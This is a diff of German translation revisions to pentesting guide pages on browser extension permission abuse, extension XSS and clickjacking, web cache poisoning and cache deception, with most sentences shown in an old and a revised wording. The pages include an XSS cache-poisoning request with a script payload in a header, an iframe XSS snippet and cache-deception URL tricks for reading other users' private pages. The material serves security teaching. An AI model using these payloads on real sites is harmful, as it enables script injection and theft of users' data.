|
||||
|
||||
Klingt zu harmlos? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ist etwas weniger harmlos. Sie kann verwendet werden, um **einen neuen Tab zu erstellen**, im Wesentlichen dasselbe wie [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), das von jeder Webseite aufgerufen werden kann. Während `window.open()` jedoch dem **Pop-up-Blocker unterliegt, tut dies `tabs.create()` nicht**.
|
||||
Klingt zu harmlos? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ist etwas weniger harmlos. Sie kann verwendet werden, um **einen neuen Tab zu erstellen**, was im Wesentlichen dasselbe ist wie [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), das von jeder Webseite aufgerufen werden kann. Während `window.open()` jedoch dem **Popup-Blocker unterliegt, tut dies `tabs.create()` nicht**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Eine Erweiterung kann jederzeit beliebig viele Tabs erstellen.
|
||||
@ -75,15 +75,15 @@ Wenn Sie sich die möglichen `tabs.create()`-Parameter ansehen, werden Sie auch
|
||||
Sie wissen wahrscheinlich, dass Webseiten spezielle Berechtigungen anfordern können, z.B. um auf Ihre Webcam (Videokonferenz-Tools) oder geografische Standortdaten (Karten) zuzugreifen. Es sind Funktionen mit erheblichem Missbrauchspotenzial, sodass die Benutzer jedes Mal bestätigen müssen, dass sie dies weiterhin möchten.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bei Browsererweiterungen ist das nicht so. **Wenn eine Browsererweiterung** [**Zugriff auf Ihre Webcam oder Ihr Mikrofon möchte**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, muss sie nur einmal um Erlaubnis bitten.**
|
||||
> Bei Browsererweiterungen ist das nicht so. **Wenn eine Browsererweiterung** [**Zugriff auf Ihre Webcam oder Ihr Mikrofon möchte**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, muss sie nur einmal um Erlaubnis fragen.**
|
||||
|
||||
Typischerweise geschieht dies sofort nach der Installation der Erweiterung. Sobald diese Aufforderung akzeptiert wird, **ist der Webcam-Zugriff jederzeit möglich**, selbst wenn der Benutzer zu diesem Zeitpunkt nicht mit der Erweiterung interagiert. Ja, ein Benutzer wird diese Aufforderung nur akzeptieren, wenn die Erweiterung wirklich auf den Webcam-Zugriff angewiesen ist. Aber danach muss er der Erweiterung vertrauen, dass sie nichts heimlich aufzeichnet.
|
||||
Typischerweise geschieht dies sofort nach der Installation einer Erweiterung. Sobald diese Aufforderung akzeptiert wird, **ist der Webcam-Zugriff jederzeit möglich**, selbst wenn der Benutzer zu diesem Zeitpunkt nicht mit der Erweiterung interagiert. Ja, ein Benutzer wird diese Aufforderung nur akzeptieren, wenn die Erweiterung wirklich auf die Webcam zugreifen muss. Aber danach müssen sie der Erweiterung vertrauen, dass sie nichts heimlich aufzeichnet.
|
||||
|
||||
Mit Zugriff auf [Ihren genauen geografischen Standort](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) oder [Inhalte Ihrer Zwischenablage](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) ist es überhaupt nicht notwendig, die Erlaubnis ausdrücklich zu erteilen. **Eine Erweiterung fügt einfach `geolocation` oder `clipboard` zu der** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ihres Manifests hinzu.** Diese Zugriffsberechtigungen werden dann implizit gewährt, wenn die Erweiterung installiert wird. Eine bösartige oder kompromittierte Erweiterung mit diesen Berechtigungen kann Ihr Bewegungsprofil erstellen oder Ihre Zwischenablage auf kopierte Passwörter überwachen, ohne dass Sie etwas bemerken.
|
||||
Mit Zugriff auf [Ihren genauen geografischen Standort](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) oder [Inhalte Ihrer Zwischenablage](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) ist es nicht einmal notwendig, die Erlaubnis ausdrücklich zu erteilen. **Eine Erweiterung fügt einfach `geolocation` oder `clipboard` zu der** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ihres Manifests hinzu.** Diese Zugriffsberechtigungen werden dann implizit gewährt, wenn die Erweiterung installiert wird. Eine bösartige oder kompromittierte Erweiterung mit diesen Berechtigungen kann Ihr Bewegungsprofil erstellen oder Ihre Zwischenablage auf kopierte Passwörter überwachen, ohne dass Sie etwas bemerken.
|
||||
|
||||
Das Hinzufügen des **`history`**-Schlüsselworts zur [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) des Erweiterungsmanifests gewährt **Zugriff auf die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Es ermöglicht das Abrufen des gesamten Browserverlaufs des Benutzers auf einmal, ohne darauf zu warten, dass der Benutzer diese Webseiten erneut besucht.
|
||||
|
||||
Die **`bookmarks`** **Berechtigung** hat ein ähnliches Missbrauchspotenzial, sie ermöglicht **das Auslesen aller Lesezeichen über die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
|
||||
Die **`bookmarks`** **Berechtigung** hat ein ähnliches Missbrauchspotenzial, da sie **das Auslesen aller Lesezeichen über die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) ermöglicht.
|
||||
|
||||
### Speicherberechtigung <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||
|
||||
@ -97,7 +97,7 @@ Sie finden die [**vollständige Liste der Berechtigungen, die eine Chromium-Brow
|
||||
|
||||
## Prävention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
Die Richtlinie von Googles Entwickler verbietet ausdrücklich, dass Erweiterungen mehr Berechtigungen anfordern, als für ihre Funktionalität erforderlich sind, wodurch übermäßige Berechtigungsanfragen effektiv gemildert werden. Ein Beispiel, bei dem eine Browsererweiterung diese Grenze überschritt, war ihre Verteilung mit dem Browser selbst und nicht über einen Add-On-Store.
|
||||
Die Richtlinie von Googles Entwickler verbietet ausdrücklich, dass Erweiterungen mehr Berechtigungen anfordern, als für ihre Funktionalität erforderlich sind, was übermäßige Berechtigungsanfragen effektiv mindert. Ein Beispiel, bei dem eine Browsererweiterung diese Grenze überschritt, war ihre Verteilung mit dem Browser selbst und nicht über einen Add-On-Store.
|
||||
|
||||
Browser könnten den Missbrauch von Erweiterungsberechtigungen weiter eindämmen. Beispielsweise sind Chome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) und [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, die für die Bildschirmaufnahme verwendet werden, darauf ausgelegt, Missbrauch zu minimieren. Die tabCapture API kann nur durch direkte Benutzerinteraktion aktiviert werden, z.B. durch Klicken auf das Erweiterungssymbol, während desktopCapture die Benutzerbestätigung für das Aufzeichnen des Fensters erfordert, um heimliche Aufnahmeaktivitäten zu verhindern.
|
||||
|
||||
|
||||
@ -46,7 +46,7 @@ Eine zu permissive Content Security Policy wie:
|
||||
```
|
||||
ermöglicht die Ausführung von JavaScript, wodurch das System anfällig für XSS-Angriffe wird.
|
||||
|
||||
Ein alternativer Ansatz, um das XSS auszulösen, besteht darin, ein Iframe-Element zu erstellen und dessen Quelle so festzulegen, dass das schädliche Skript als `content`-Parameter enthalten ist:
|
||||
Ein alternativer Ansatz, um das XSS auszulösen, besteht darin, ein Iframe-Element zu erstellen und dessen Quelle so einzustellen, dass das schädliche Skript als `content`-Parameter enthalten ist:
|
||||
```javascript
|
||||
let newFrame = document.createElement("iframe")
|
||||
newFrame.src =
|
||||
@ -82,7 +82,7 @@ Dieser Snippet ruft den **Wert** aus dem **`txtName`** Eingabefeld ab und verwen
|
||||
|
||||
Typischerweise würde die Content Security Policy (CSP) der Chrome-Erweiterung solche Schwachstellen verhindern. Aufgrund der **CSP-Entspannung mit ‘unsafe-eval’** und der Verwendung von jQuerys DOM-Manipulationsmethoden (die [`globalEval()`](https://api.jquery.com/jquery.globaleval/) verwenden, um Skripte an [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) bei der DOM-Einfügung zu übergeben), ist eine Ausnutzung jedoch weiterhin möglich.
|
||||
|
||||
Obwohl diese Schwachstelle erheblich ist, hängt ihre Ausnutzung normalerweise von der Interaktion des Benutzers ab: die Seite besuchen, eine XSS-Nutzlast eingeben und die Schaltfläche „Hinzufügen“ aktivieren.
|
||||
Obwohl diese Schwachstelle erheblich ist, hängt ihre Ausnutzung normalerweise von der Benutzerinteraktion ab: die Seite besuchen, eine XSS-Nutzlast eingeben und die Schaltfläche „Hinzufügen“ aktivieren.
|
||||
|
||||
Um diese Schwachstelle zu verstärken, wird eine sekundäre **Clickjacking**-Schwachstelle ausgenutzt. Das Manifest der Chrome-Erweiterung zeigt eine umfangreiche `web_accessible_resources`-Richtlinie:
|
||||
```json
|
||||
@ -94,7 +94,7 @@ Um diese Schwachstelle zu verstärken, wird eine sekundäre **Clickjacking**-Sch
|
||||
[...]
|
||||
],
|
||||
```
|
||||
Bemerkenswert ist, dass die **`/html/bookmarks.html`**-Seite anfällig für Framing ist und somit für **clickjacking** verwundbar ist. Diese Schwachstelle wird ausgenutzt, um die Seite innerhalb der Website eines Angreifers einzurahmen und sie mit DOM-Elementen zu überlagern, um die Benutzeroberfläche täuschend umzugestalten. Diese Manipulation führt dazu, dass die Opfer unbeabsichtigt mit der zugrunde liegenden Erweiterung interagieren.
|
||||
Bemerkenswert ist, dass die **`/html/bookmarks.html`**-Seite anfällig für Framing ist und somit verwundbar für **clickjacking**. Diese Schwachstelle wird ausgenutzt, um die Seite innerhalb der Website eines Angreifers einzurahmen und sie mit DOM-Elementen zu überlagern, um die Benutzeroberfläche täuschend umzugestalten. Diese Manipulation führt dazu, dass die Opfer unbeabsichtigt mit der zugrunde liegenden Erweiterung interagieren.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -15,13 +15,13 @@ Cache Poisoning zielt darauf ab, den Client-seitigen Cache zu manipulieren, um C
|
||||
|
||||
Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:
|
||||
|
||||
1. **Identifizierung von unverschlüsselten Eingaben**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Die Identifizierung dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
|
||||
2. **Ausnutzung der unverschlüsselten Eingaben**: Nach der Identifizierung der unverschlüsselten Eingaben besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
|
||||
1. **Identifizierung von Unkeyed Inputs**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Die Identifizierung dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
|
||||
2. **Ausnutzung der Unkeyed Inputs**: Nach der Identifizierung der unkeyed Inputs besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
|
||||
3. **Sicherstellen, dass die vergiftete Antwort im Cache gespeichert wird**: Der letzte Schritt besteht darin, sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Benutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die kontaminierte Antwort.
|
||||
|
||||
### Entdeckung: Überprüfen der HTTP-Header
|
||||
|
||||
In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **Header, der dies anzeigt**. Sie können überprüfen, auf welche Header Sie in diesem Beitrag achten sollten: [**HTTP-Cache-Header**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **Header, der dies anzeigt**. Sie können überprüfen, auf welche Header Sie in diesem Beitrag achten sollten: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Entdeckung: Caching-Fehlercodes
|
||||
|
||||
@ -35,7 +35,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Beachten Sie jedoch, dass **manchmal diese Arten von Statuscodes nicht im Cache gespeichert werden**, sodass dieser Test möglicherweise nicht zuverlässig ist.
|
||||
|
||||
### Entdeckung: Identifizieren und Bewerten unverschlüsselter Eingaben
|
||||
### Entdeckung: Identifizieren und Bewerten von Unkeyed Inputs
|
||||
|
||||
Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) verwenden, um **Parameter und Header zu brute-forcen**, die möglicherweise **die Antwort der Seite ändern**. Zum Beispiel könnte eine Seite den Header `X-Forwarded-For` verwenden, um dem Client anzuzeigen, dass das Skript von dort geladen werden soll:
|
||||
```markup
|
||||
@ -43,26 +43,26 @@ Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7
|
||||
```
|
||||
### Elicit a harmful response from the back-end server
|
||||
|
||||
Mit dem identifizierten Parameter/Header überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus dem Header beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
|
||||
Mit dem identifizierten Parameter/Kopfzeile überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus der Kopfzeile beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
|
||||
|
||||
### Get the response cached
|
||||
|
||||
Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Header** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen; du musst möglicherweise mehrere Sekunden lang versuchen.
|
||||
Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Kopfzeile** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
|
||||
|
||||
Der Header **`X-Cache`** in der Antwort könnte sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
|
||||
Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
|
||||
Die Kopfzeile **`X-Cache`** in der Antwort könnte sehr nützlich sein, da sie den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
|
||||
Die Kopfzeile **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Ein weiterer interessanter Header ist **`Vary`**. Dieser Header wird häufig verwendet, um **zusätzliche Header** anzuzeigen, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
|
||||
Eine weitere interessante Kopfzeile ist **`Vary`**. Diese Kopfzeile wird häufig verwendet, um **zusätzliche Kopfzeilen** anzugeben, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
|
||||
|
||||
Ein weiterer Header, der mit dem Cache zusammenhängt, ist **`Age`**. Er definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
|
||||
Eine weitere Kopfzeile, die mit dem Cache zusammenhängt, ist **`Age`**. Sie definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
|
||||
|
||||
Beim Caching einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diesen gleichen Header verwenden muss**. Immer **testen** einer Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
|
||||
Beim Caching einer Anfrage sei **vorsichtig mit den Kopfzeilen, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diese gleiche Kopfzeile verwenden muss**. Teste immer eine Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
|
||||
|
||||
## Exploiting Examples
|
||||
|
||||
### Easiest example
|
||||
|
||||
Ein Header wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
|
||||
Eine Kopfzeile wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
|
||||
Du kannst eine grundlegende XSS-Nutzlast senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
@ -71,13 +71,13 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_Beachten Sie, dass dies eine Anfrage an `/en?region=uk` und nicht an `/en` vergiften wird._
|
||||
|
||||
### Cache-Poisoning zum DoS
|
||||
### Cache-Vergiftung für DoS
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten
|
||||
### Verwendung von Web-Cache-Vergiftung zur Ausnutzung von Cookie-Verwundbarkeiten
|
||||
|
||||
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.
|
||||
```markup
|
||||
@ -144,11 +144,11 @@ Portswigger-Labor: [https://portswigger.net/web-security/web-cache-poisoning/exp
|
||||
|
||||
### Ausnutzen von HTTP-Cache-Poisoning durch Missbrauch von HTTP Request Smuggling
|
||||
|
||||
Erfahren Sie hier, wie man [Cache Poisoning-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
|
||||
Erfahren Sie hier, wie man [Cache-Poisoning-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
|
||||
|
||||
### Automatisierte Tests auf Web-Cache-Poisoning
|
||||
### Automatisierte Tests für Web-Cache-Poisoning
|
||||
|
||||
Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
|
||||
Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch nach Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
|
||||
|
||||
Beispielverwendung: `wcvs -u example.com`
|
||||
|
||||
@ -160,15 +160,15 @@ ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, un
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Das Senden eines fehlerhaften Wertes im Content-Type-Header löste eine 405-Cache-Antwort aus. Der Cache-Schlüssel enthielt das Cookie, sodass nur nicht authentifizierte Benutzer angegriffen werden konnten.
|
||||
Das Senden eines fehlerhaften Wertes im Content-Type-Header löste eine 405-Cache-Antwort aus. Der Cache-Schlüssel enthielt das Cookie, sodass es nur möglich war, nicht authentifizierte Benutzer anzugreifen.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass er einen leeren Antwortkörper zurückgibt. Es könnte auch die Methode `PURGE` unterstützen.
|
||||
GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. **GCP-Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass er einen leeren Antwortkörper zurückgibt. Es könnte auch die Methode `PURGE` unterstützen.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des **`x-forwarded-scheme`**-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den `X-forwarded-host`-Header anerkennen und Benutzer an den angegebenen Host weiterleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
|
||||
In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des **`x-forwarded-scheme`**-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den `X-forwarded-host`-Header anerkennen und Benutzer an den angegebenen Host umleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
|
||||
|
||||
### 403 und Speicher-Buckets
|
||||
|
||||
@ -176,15 +176,15 @@ Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder
|
||||
|
||||
### Einspeisen von verschlüsselten Parametern
|
||||
|
||||
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Varnish von Fastly den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z.B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
|
||||
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Varnish von Fastly den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z.B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters erstellt. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem cachebaren 400 Bad Request-Fehler.
|
||||
|
||||
### Benutzer-Agent-Regeln
|
||||
|
||||
Einige Entwickler blockieren Anfragen mit Benutzer-Agenten, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu verwalten. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
|
||||
Einige Entwickler blockieren Anfragen mit Benutzer-Agenten, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
|
||||
|
||||
### Ungültige Header-Felder
|
||||
|
||||
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die akzeptablen Zeichen in Headernamen. Header, die Zeichen außerhalb des angegebenen **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server jedoch nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler zwischenspeichert, solange der `cache-control`-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem ungültigen Zeichen, wie `\`, zu einem zwischenspeicherbaren 400 Bad Request-Fehler führte.
|
||||
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die akzeptablen Zeichen in Headernamen. Header, die Zeichen außerhalb des angegebenen **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server jedoch nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler zwischenspeichert, solange der `cache-control`-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem ungültigen Zeichen, wie `\`, zu einem cachebaren 400 Bad Request-Fehler führte.
|
||||
|
||||
### Finden neuer Header
|
||||
|
||||
@ -192,9 +192,9 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die ak
|
||||
|
||||
## Cache-Deception
|
||||
|
||||
Das Ziel von Cache Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
|
||||
Das Ziel von Cache-Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
|
||||
|
||||
Zunächst ist zu beachten, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher wird der Cache wahrscheinlich die Antwort speichern, wenn Sie auf `www.example.com/profile.php/nonexistent.js` zugreifen, da er die `.js` **Erweiterung** sieht. Wenn die **Anwendung** jedoch mit den **sensiblen** Benutzerinhalten antwortet, die in _www.example.com/profile.php_ gespeichert sind, können Sie diese Inhalte von anderen Benutzern **stehlen**.
|
||||
Zunächst einmal beachten Sie, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, wird der Cache wahrscheinlich die Antwort speichern, da er die `.js` **Erweiterung** sieht. Wenn jedoch die **Anwendung** mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **antwortet**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
|
||||
|
||||
Weitere Dinge, die getestet werden sollten:
|
||||
|
||||
@ -205,13 +205,13 @@ Weitere Dinge, die getestet werden sollten:
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _Verwenden Sie weniger bekannte Erweiterungen wie_ `.avif`
|
||||
|
||||
Ein weiteres sehr klares Beispiel findet sich in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Ein weiteres sehr klares Beispiel finden Sie in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
|
||||
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.
|
||||
|
||||
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type speichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-Mime-Typs (der für eine _.css_-Datei erwartet wird) haben.
|
||||
|
||||
Erfahren Sie hier, wie man [Cache Deceptions-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
|
||||
Erfahren Sie hier, wie man [Cache-Deception-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
|
||||
|
||||
## Automatische Werkzeuge
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Auf dieser Seite finden Sie verschiedene Variationen, um den **Webserver dazu zu bringen, mit Fehlern** auf Anfragen zu reagieren, die **für die Cache-Server gültig sind**.
|
